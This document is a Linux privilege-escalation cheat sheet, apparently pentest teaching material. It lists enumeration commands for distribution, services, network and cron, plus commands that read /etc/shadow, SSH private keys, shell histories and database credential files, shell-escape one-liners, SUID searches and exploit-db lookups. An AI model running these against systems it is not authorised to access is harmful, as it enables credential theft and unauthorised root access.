Basic Linux Privilege Escalation
(Linux) privilege escalation is all about:
- Collect - Enumeration, more enumeration and some more enumeration.
- Process - Sort through data, analyse and prioritisation.
- Search - Know what to search for and where to find the exploit code.
- Adapt - Customize the exploit, so it fits. Not every exploit work for every system "out of the box".
- Try - Get ready for (lots of) trial and error.
// Determine linux distribution and version
cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release
cat /etc/redhat-release
// Determine kernel version - 32 or 64-bit?
cat /proc/version
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-
// List environment variables
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
// Determine if there is a printer
lpstat -a
// Determine which services are running
ps aux
ps -ef
top
cat /etc/service
// Determine which services are running as root
ps aux | grep root
ps -ef | grep root
// Determine installed applications
ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/
// Syslog Configuration
cat /etc/syslog.conf
cat /var/log/syslog.conf
(or just: locate syslog.conf)
// Web Server Configurations
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/apache2/apache2.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
// PHP Configuration
/etc/php5/apache2/php.ini
// Printer (cupsd) Configuration
cat /etc/cups/cupsd.conf
// MySql
cat /etc/my.conf
// Inetd Configuration
cat /etc/inetd.conf
// List All
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/'
// Determine scheduled jobs
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
// Locate any plaintext usernames and passwords
grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla
// Identify connected NICs and other networks
/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network
// Identify connected users and hosts
lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w
// Identify cached IP or MAC addresses
arp -a
route
/sbin/route -nee
// Identify network configuration Settings (DHCP, DNS, Gateway)
cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname
// Is packet sniffing possible
# tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]
tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21
// Check for ports open for local only connections
netstat -tupan
// Is tunnelling possible?
ssh -D 127.0.0.1:9050 -N [username]@[ip]
proxychains ifconfig
// Identify the current user and users in the system
id
who
w
last
cat /etc/passwd | cut -d : -f 1 # List users
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users
awk -F: '($3 == "0") {print}' /etc/passwd # List of super users
// List Sudoers
cat /etc/sudoers
// Show which commands sudo allows you to run
sudo -l
// Attempt to display sensitive files
cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/
// Check for anything interesting in home directories
ls -ahlR /root/
ls -ahlR /home/
// Are there any hardcoded passwords in scripts, databases or configuration files
cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg
// Check user history for credentials and activity
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history
// Check user profile and mail
cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root
// Check for accessible private keys
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key
// Find writeable configuration files in /etc
ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null # Anyone
ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null # Owner
ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null # Group
ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null # Other
find /etc/ -readable -type f 2>/dev/null # Anyone
find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone
// Examine /var structure (logs, configuration files
ls -alh /var/log
ls -alh /var/mail
ls -alh /var/spool
ls -alh /var/spool/lpd
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases
// Any hidden files / settings on a hosted website
ls -alhR /var/www/
ls -alhR /srv/www/htdocs/
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/
ls -alhR /var/www/html/
// Check Local Log Files
# http://www.thegeekstuff.com/2011/08/linux-var-log-files/
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/
# auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp
// Is it possible to break out of "jail" shell
python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i
vi -> :sh or :!UNIX_command
// Check which filesystems are mounted
mount
df -h
// Check if there are unmounted filesystems
cat /etc/fstab
// Finding world writeable directories
find / -perm 777
// Find setuid files
find / -perm +4000 -type f
// Find root setuid files
find / -perm +4000 -uid 0 -type f
// Additional File System Checks? Sticky bits, SUID & GUID
find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here
find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it.
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID
for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)
# find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
// Check common directories for write and execute permissions
find / -writable -type d 2>/dev/null # world-writeable folders
find / -perm -222 -type d 2>/dev/null # world-writeable folders
find / -perm -o+w -type d 2>/dev/null # world-writeable folders
find / -perm -o+x -type d 2>/dev/null # world-executable folders
find / \( -perm -o+w -perm -o+x \) -type d 2>/dev/null # world-writeable & executable folders
// Check for problem files (World Writeable / "Nobody" files)
find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print # world-writeable files
find /dir -xdev \( -nouser -o -nogroup \) -print # Noowner files
##### Attacking Vulnerable Kernel and SUID Applications #####
// Finding Exploit Code
/pentest/exploits/exploitdb/searchsploit "kernel" |grep -i "root"
cat /pentest/exploits/exploitdb/files.csv |grep -i privile
grep -i X.X /pentest/exploits/exploitdb/files.csv |grep -i local
grep -i application /pentest/exploits/exploitdb/files.csv |grep -i local
// Check Development Environment on Target Hosts
find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc
// How can files be uploaded?
find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp
